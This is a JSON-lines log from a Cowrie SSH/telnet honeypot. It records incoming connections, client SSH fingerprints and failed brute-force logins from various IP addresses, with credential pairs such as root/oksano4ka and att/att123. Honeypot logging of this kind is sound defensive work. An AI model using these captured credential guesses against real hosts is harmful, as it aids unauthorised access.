{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:11:04.270208Z","src_ip":"38.93.206.2","session":"cbaeb5909291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":35030,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fe26ce3e1eb","protocol":"ssh","message":"New connection: 147.45.211.215:35030 (10.17.0.5:22) [session: 9fe26ce3e1eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:11:40.738856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:11:40.744882Z","src_ip":"147.45.211.215","session":"9fe26ce3e1eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:11:40.912934Z","src_ip":"147.45.211.215","session":"9fe26ce3e1eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987654321n","message":"login attempt [root/987654321n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:11:41.414503Z","src_ip":"147.45.211.215","session":"9fe26ce3e1eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:11:42.582953Z","src_ip":"147.45.211.215","session":"9fe26ce3e1eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":51866,"dst_ip":"159.203.135.109","dst_port":22,"session":"763f918e7d5a","protocol":"ssh","message":"New connection: 191.7.26.153:51866 (159.203.135.109:22) [session: 763f918e7d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:11:50.652259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:11:50.656525Z","src_ip":"191.7.26.153","session":"763f918e7d5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:11:50.780078Z","src_ip":"191.7.26.153","session":"763f918e7d5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"att","password":"att123","message":"login attempt [att/att123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:11:51.272063Z","src_ip":"191.7.26.153","session":"763f918e7d5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:11:52.389755Z","src_ip":"191.7.26.153","session":"763f918e7d5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":59446,"dst_ip":"10.17.0.5","dst_port":22,"session":"3608ad794d9c","protocol":"ssh","message":"New connection: 193.37.70.224:59446 (10.17.0.5:22) [session: 3608ad794d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:01.440000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:01.446553Z","src_ip":"193.37.70.224","session":"3608ad794d9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:01.533688Z","src_ip":"193.37.70.224","session":"3608ad794d9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oksano4ka","message":"login attempt [root/oksano4ka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:01.789223Z","src_ip":"193.37.70.224","session":"3608ad794d9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:02.877011Z","src_ip":"193.37.70.224","session":"3608ad794d9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":45860,"dst_ip":"159.203.135.109","dst_port":22,"session":"881a784f67b0","protocol":"ssh","message":"New connection: 46.19.67.181:45860 (159.203.135.109:22) [session: 881a784f67b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:08.819388Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":57272,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9b4bd842985","protocol":"ssh","message":"New connection: 194.36.147.215:57272 (10.17.0.5:22) [session: b9b4bd842985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:18.117041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:18.120694Z","src_ip":"194.36.147.215","session":"b9b4bd842985","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:18.208565Z","src_ip":"194.36.147.215","session":"b9b4bd842985","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kucoinkucoin","password":"kucoin123","message":"login attempt [kucoinkucoin/kucoin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:18.470750Z","src_ip":"194.36.147.215","session":"b9b4bd842985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:19.558297Z","src_ip":"194.36.147.215","session":"b9b4bd842985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00133419036865,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:21.184306Z","src_ip":"170.64.224.25","session":"718ca5228379","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":51028,"dst_ip":"159.203.135.109","dst_port":23,"session":"86f34f2ecded","protocol":"telnet","message":"New connection: 107.6.151.170:51028 (159.203.135.109:23) [session: 86f34f2ecded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:22.594305Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":42392,"dst_ip":"159.203.135.109","dst_port":23,"session":"76a0015b515a","protocol":"telnet","message":"New connection: 107.6.151.170:42392 (159.203.135.109:23) [session: 76a0015b515a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:26.170322Z"}
{"eventid":"cowrie.session.closed","duration":0.004256010055541992,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:26.174396Z","src_ip":"107.6.151.170","session":"76a0015b515a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:26.634222Z","src_ip":"101.126.22.12","session":"da5b6d8930b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.130.227.33","src_port":34620,"dst_ip":"10.17.0.5","dst_port":22,"session":"46ce0c17adb6","protocol":"ssh","message":"New connection: 95.130.227.33:34620 (10.17.0.5:22) [session: 46ce0c17adb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:28.668593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:28.672892Z","src_ip":"95.130.227.33","session":"46ce0c17adb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:28.838501Z","src_ip":"95.130.227.33","session":"46ce0c17adb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop[]123","message":"login attempt [root/qwertyuiop[]123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:29.511940Z","src_ip":"95.130.227.33","session":"46ce0c17adb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:30.674932Z","src_ip":"95.130.227.33","session":"46ce0c17adb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":48234,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e45ec90c7de","protocol":"telnet","message":"New connection: 107.6.151.170:48234 (159.203.135.109:23) [session: 6e45ec90c7de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:31.726539Z"}
{"eventid":"cowrie.session.closed","duration":0.005508899688720703,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:31.731890Z","src_ip":"107.6.151.170","session":"6e45ec90c7de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57726,"dst_ip":"159.203.135.109","dst_port":23,"session":"de629f31e3b7","protocol":"telnet","message":"New connection: 170.64.224.25:57726 (159.203.135.109:23) [session: de629f31e3b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:40.756702Z"}
{"eventid":"cowrie.session.closed","duration":29.475974798202515,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:12:52.070140Z","src_ip":"107.6.151.170","session":"86f34f2ecded","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.23162531852722,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:12.988224Z","src_ip":"170.64.224.25","session":"de629f31e3b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":36076,"dst_ip":"10.17.0.5","dst_port":22,"session":"94a51f4a26fb","protocol":"ssh","message":"New connection: 194.59.206.2:36076 (10.17.0.5:22) [session: 94a51f4a26fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:20.923617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:20.927219Z","src_ip":"194.59.206.2","session":"94a51f4a26fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:21.013122Z","src_ip":"194.59.206.2","session":"94a51f4a26fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:21.105197Z","src_ip":"194.59.206.2","session":"94a51f4a26fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":53700,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb57f854c619","protocol":"ssh","message":"New connection: 103.122.221.179:53700 (159.203.135.109:22) [session: eb57f854c619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:24.502107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:24.507588Z","src_ip":"103.122.221.179","session":"eb57f854c619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:24.766304Z","src_ip":"103.122.221.179","session":"eb57f854c619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16011993","message":"login attempt [root/16011993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:25.543689Z","src_ip":"103.122.221.179","session":"eb57f854c619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:26.806483Z","src_ip":"103.122.221.179","session":"eb57f854c619","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":47862,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7e4e9856152","protocol":"ssh","message":"New connection: 51.250.105.222:47862 (10.17.0.5:22) [session: e7e4e9856152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:31.279955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:13:31.283747Z","src_ip":"51.250.105.222","session":"e7e4e9856152","protocol":"ssh"}
